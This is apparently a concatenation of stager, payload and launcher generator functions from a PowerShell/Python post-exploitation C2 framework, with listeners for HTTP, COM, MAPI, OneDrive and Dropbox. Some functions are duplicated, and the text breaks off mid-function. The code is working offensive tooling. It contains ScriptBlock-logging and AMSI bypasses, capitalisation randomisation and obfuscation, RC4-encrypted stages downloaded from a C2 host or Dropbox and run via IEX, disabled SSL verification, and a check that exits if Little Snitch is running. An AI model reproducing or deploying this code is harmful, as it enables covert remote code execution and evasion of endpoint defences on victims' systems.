def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_payload(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the payload code """ if not language: print helpers.color("[!] listeners/onedrive generate_payload(): no language specified") return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/payloads/onedrive.ps1" % self.mainMenu.installPath) payload = f.read() f.close() payload = payload.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) payload = payload.replace('REPLACE_STAGING_KEY', staging_key) payload = payload.replace("REPLACE_TOKEN", token) payload = payload.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": payload = payload.replace("REPLACE_WORKING_HOURS", working_hours) randomized_payload = '' for line in payload.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_payload += helpers.randomize_capitalization(line) else: randomized_payload += line if encode: return helpers.enc_powershell(randomized_payload) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_payload) else: return randomized_payload else: print helpers.color("[!] Python agent not available for Onedrive")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the stager code """ if not language: print helpers.color("[!] listeners/onedrive generate_stager(): no language specified") return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) randomized_stager = '' for line in stager.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_stager += helpers.randomize_capitalization(line) else: randomized_stager += line if encode: return helpers.enc_powershell(randomized_stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager) else: return randomized_stager else: print helpers.color("[!] Python agent not available for Onedrive")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser='%s';$t='%s';" % (host, stage0) # add the RC4 packet to a header location stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) #Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True stager += "`r`n%s: %s" % (headerKey, headerValue) stager += "\";" #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};") stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False, ETWBypass=False): if not language: print( helpers.color( "[!] listeners/onedrive generate_launcher(): No language specified" )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): listener_options = self.mainMenu.listeners.activeListeners[ listenerName]['options'] staging_key = listener_options['StagingKey']['Value'] profile = listener_options['DefaultProfile']['Value'] launcher_cmd = listener_options['Launcher']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] base_folder = listener_options['BaseFolder']['Value'].strip("/") staging_folder = listener_options['StagingFolder']['Value'] taskings_folder = listener_options['TaskingsFolder']['Value'] results_folder = listener_options['ResultsFolder']['Value'] if language.startswith("power"): launcher = "$ErrorActionPreference = 'SilentlyContinue';" # Set as empty string for debugging if safeChecks.lower() == 'true': launcher = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: launcher += bypasses.scriptBlockLogBypass() if ETWBypass: launcher += bypasses.ETWBypass() # @mattifestation's AMSI bypass if AMSIBypass: launcher += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: launcher += bypasses.AMSIBypass2() launcher += "};" launcher += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) launcher += helpers.randomize_capitalization( "$wc=New-Object SYstem.Net.WebClient;") if userAgent.lower() == 'default': profile = listener_options['DefaultProfile']['Value'] userAgent = profile.split("|")[1] launcher += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': launcher += helpers.randomize_capitalization( "$wc.Headers.Add(") launcher += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': launcher += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: launcher += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") launcher += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") launcher += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": launcher += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] launcher += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" launcher += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") launcher += "$Script:Proxy = $wc.Proxy;" # code to turn the key string into a byte array launcher += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") launcher += ("'%s');" % staging_key) # this is the minimized RC4 launcher code from rc4.ps1 launcher += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) launcher += helpers.randomize_capitalization( "$data=$wc.DownloadData('") launcher += self.mainMenu.listeners.activeListeners[ listenerName]['stager_url'] launcher += helpers.randomize_capitalization( "');$iv=$data[0..3];$data=$data[4..$data.length];") launcher += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: launcher = helpers.obfuscate( self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(launcher, launcher_cmd) else: return launcher if language.startswith("pyth"): print( helpers.color( "[!] listeners/onedrive generate_launcher(): Python agent not implimented yet" )) return "python not implimented yet" else: print( helpers.color( "[!] listeners/onedrive generate_launcher(): invalid listener name" ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization("$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a header location stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser='%s';$t='%s';" % (host, stage0) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % (b64RoutingPacket) stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] # host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) if language.startswith('po'): # PowerShell # replace with stager = '' for troubleshooting stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") #save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $wc.Proxy;" # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # add in the Dropbox auth token and API params stager += "$t='%s';" % (apiToken) stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Authorization\",\"Bearer $t\");" stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder) stager += helpers.randomize_capitalization("$data=$WC.DownloadData('") stager += "https://content.dropboxapi.com/2/files/download');" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager elif language.startswith('py'): launcherBase = 'import sys;' # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "t='%s';" % (apiToken) launcherBase += "server='https://content.dropboxapi.com/2/files/download';" launcherBase += "req=urllib2.Request(server);\n" launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header(\"Authorization\",\"Bearer 